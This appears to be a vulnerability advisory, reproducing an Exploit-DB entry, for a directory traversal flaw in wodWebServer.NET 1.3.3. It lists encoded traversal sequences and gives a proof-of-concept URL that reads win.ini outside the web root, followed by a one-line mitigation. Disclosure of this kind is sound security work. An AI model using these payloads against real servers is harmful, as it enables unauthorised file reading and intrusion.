Directory Traversal in wodWebServer.NET 1.3.3

vendor:

wodWebServer.NET

by:

AutoSec Tools

N/A

CVSS

N/A

Directory Traversal

CWE

Product Name: wodWebServer.NET

Affected Version From: 1.3.2003

Affected Version To: 1.3.2003

Patch Exists: YES

Related CWE: N/A

CPE: a:weonlydo:wodwebserver.net:1.3.3

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Windows Vista

2011

Directory Traversal in wodWebServer.NET 1.3.3

A directory traversal vulnerability in wodWebServer.NET 1.3.3 can be exploited to read files outside of the web root. Exploits include ..%5C/..%2F/..%2E/../..//.../..../

Mitigation:

Ensure that user input is properly sanitized and validated to prevent directory traversal attacks.

Source

Exploit-DB raw data:

------------------------------------------------------------------------
Software................wodWebServer.NET 1.3.3
Vulnerability...........Directory Traversal
Threat Level............Serious (3/5)
Download................http://www.weonlydo.com/WebServer.NET/web-http-net-server.asp
Vendor Contact Date.....3/13/2011
Disclosure Date.........3/27/2011
Tested On...............Windows Vista
------------------------------------------------------------------------
Author..................AutoSec Tools
Site....................http://www.autosectools.com/
Email...................John Leitch <john@autosectools.com>
------------------------------------------------------------------------


--Description--

A directory traversal vulnerability in wodWebServer.NET 1.3.3 can be
exploited to read files outside of the web root.


--Exploit--

..%5C/
..%2F/
..%2E/
..\/
..//
.../
..\
../


--PoC--

http://localhost/..%5C/..%5C/..%5C/..%5C/..%5C/..%5C/..%5C/..%5C/windows%5C/win.ini